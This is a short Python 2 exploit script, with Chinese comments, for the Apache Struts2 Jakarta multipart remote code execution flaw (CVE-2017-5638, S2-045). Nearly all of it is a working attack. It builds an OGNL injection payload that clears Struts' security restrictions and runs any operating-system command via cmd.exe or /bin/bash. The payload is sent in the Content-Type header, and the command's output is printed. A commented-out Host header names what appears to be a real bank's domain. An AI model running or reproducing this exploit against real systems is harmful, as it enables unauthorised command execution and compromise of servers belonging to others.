#coding:utf8#author:Gru-HT#time:下午4:30 07 03 2017#information:struts2 Jakarta远程执行 cve-2017-5638 S02-45import requests,sysdef st245(urls,ossystem):    payload="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+ossystem+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"    head={        #"Host":'easyfee.esunbank.com.tw',        "User-Agent":"User-Agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",        "Accept":"Accept=*/*",        "Accept-Language":"Accept-Language=en-US,en;q=0.5",        "Content-Type":payload,        "Connection":"keep-alive"    }    attack=requests.get(urls,headers=head)    print attack.textif __name__=='__main__':    try:        url=sys.argv[1]        ossystems=sys.argv[2]        st245(url,ossystems)    except:        print u"请检查测试语法是否正确，格式为：测试脚本 目标地址 系统命令\n举个栗子：st2-045.py 'http://a.a.a/n.action' whoami"